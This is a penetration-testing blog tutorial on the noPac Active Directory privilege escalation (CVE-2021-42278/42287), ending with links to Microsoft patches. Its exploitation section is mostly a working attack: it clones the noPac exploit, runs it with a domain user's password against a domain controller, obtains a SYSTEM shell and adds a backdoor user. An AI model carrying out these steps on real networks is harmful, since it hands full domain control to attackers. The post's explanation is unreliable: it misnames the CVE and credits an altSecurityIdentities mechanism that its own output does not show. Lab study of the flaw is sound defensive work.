# Windows Privilege Escalation: sAMAccountName Spoofing

January 10, 2022 By Raj Chandel

This post discusses how CVE-2021-42278 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user)

**Description:** Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42278, CVE-2021-42282, CVE-2021-42291.

**Release Date:** Nov 9, 2021

**Impact:** Elevation of Privilege

**Severity:** Important

**CVSS score:** 8.8

| Products Affected: - |
| --- |
| Windows Server 2012 R2 (Server Core installation) |
| Windows Server 2012 R2 (Server Core installation) |
| Windows Server 2012 R2 |
| Windows Server 2012 R2 |
| Windows Server 2012 (Server Core installation) |
| Windows Server 2012 (Server Core installation) |
| Windows Server 2012 |
| Windows Server 2012 |
| Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) |
| Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) |
| Windows Server 2008 R2 for x64-based Systems Service Pack 1 |
| Windows Server 2008 R2 for x64-based Systems Service Pack 1 |
| Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) |
| Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) |
| Windows Server 2008 for x64-based Systems Service Pack 2 |
| Windows Server 2008 for x64-based Systems Service Pack 2 |
| Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) |
| Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) |
| Windows Server 2008 for 32-bit Systems Service Pack 2 |
| Windows Server 2008 for 32-bit Systems Service Pack 2 |
| Windows Server 2016 (Server Core installation) |
| Windows Server 2016 |
| Windows Server, version 20H2 (Server Core Installation) |
| Windows Server, version 2004 (Server Core installation) |
| Windows Server 2022 (Server Core installation) |
| Windows Server 2022 |
| Windows Server 2019 (Server Core installation) |
| Windows Server 2019 |

www.hackingarticles.in

## Pentest Lab setup

In the lab, we'll use a Kali VM as the attacker machine and a Windows domain controller (affected Windows platforms are listed above in the article) that hasn't been patched since November 9, 2021, as the victim/target machine.

Now, as you can see, a user with normal domain user privileges has been created in the test Domain Controller lab setup.

The below command can be run on the Domain Controller to check user details, and as you can see, the user is a normal domain user (highlighted in red).

```
net user sakshi
```

```
C:\Users\Administrator>net user sakshi
User name                    sakshi
Full Name                    sakshi
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/6/2022 1:32:01 PM
Password expires             Never
Password changeable          1/7/2022 1:32:01 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.
```

## Exploitation

Now on your attacker system, which is Kali VM, you have to clone the exploit from the git repository provided below.

```
git clone https://github.com/Ridter/noPac
```

After cloning the repo **https://github.com/Ridter/noPac**, navigate to the noPac folder

```
cd noPac
ls -al
```

```
┌──(root💀 kali)-[~]
└─# git clone https://github.com/Ridter/noPac
Cloning into 'noPac' ...
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Receiving objects: 100% (64/64), 42.02 KiB | 483.00 KiB/s, done.
Resolving deltas: 100% (36/36), done.

┌──(root💀 kali)-[~]
└─# cd noPac

┌──(root💀 kali)-[~/noPac]
└─# ls -al
total 60
drwxr-xr-x  4 root root  4096 Jan  6 16:50 .
drwx------ 45 root root  4096 Jan  6 16:51 ..
drwxr-xr-x  8 root root  4096 Jan  6 16:50 .git
-rw-r--r--  1 root root  1799 Jan  6 16:50 .gitignore
-rw-r--r--  1 root root 18790 Jan  6 16:50 noPac.py
-rw-r--r--  1 root root  6231 Jan  6 16:50 README.md
-rw-r--r--  1 root root    16 Jan  6 16:50 requirements.txt
-rw-r--r--  1 root root  6976 Jan  6 16:50 scanner.py
drwxr-xr-x  2 root root  4096 Jan  6 16:50 utils
```

And then execute the command

```
python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate
administrator -use-ldap
```

This CVE is a security bypass vulnerability that is caused by Kerberos's PAC confusion and impersonation of domain controllers.

It allows potential attackers to impersonate domain controllers by requesting TGT's from Kerberos without a PAC, and the moment TGT is issued without issuing PACs, the attacker can impersonate as a highly privileged user.

Now, to get a DC to add a PAC when a service ticket (ST) was requested using a TGT without a PAC was achieved by configuring the "**altSecurityIdentities**" attribute.

This process involves modifying the *altSecurityIdentities* attribute of an account in a foreign domain to **Kerberos:[samaccountname]@[domain]** to impersonate that user.

```
┌──(root💀 kali)-[~/noPac]
└─# python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate administrator -use-ldap

[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target dc1.ignite.local
[*] will try to impersonat administrator
[*] Adding Computer Account "WIN-HQP08IGME4L"
[*] MachineAccount "WIN-HQP08IGME4L" password = p%@0wA0lkIZz
[*] Successfully added machine account WIN-HQP08IGME4L with password p%@0wA0lkIZz.
[*] WIN-HQP08IGME4L object = CN=WIN-HQP08IGME4L,CN=Computers,DC=ignite,DC=local
[*] WIN-HQP08IGME4L sAMAccountName == dc1
[*] Saving ticket in dc1.ccache
[*] Resting the machine account to WIN-HQP08IGME4L
[*] Restored WIN-HQP08IGME4L sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating administrator
[*]     Requesting S4U2self
[*] Saving ticket in administrator.ccache
[*] Remove ccache of dc1.ignite.local
[*] Rename ccache with target ...
[*] Attempting to del a computer with the name: WIN-HQP08IGME4L
[-] Delete computer WIN-HQP08IGME4L Failed! Maybe the current user does not have permission.
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>net user aarti /add Password@1
The command completed successfully.
```

As you can see when the above command is executed, the output shows that the attacker machine (Kali VM) has acquired “NT AUTHORITY\System” privileges.

## Mitigation

KB5008602 – https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7

KB5008380 – https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041

## References:

**https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42287**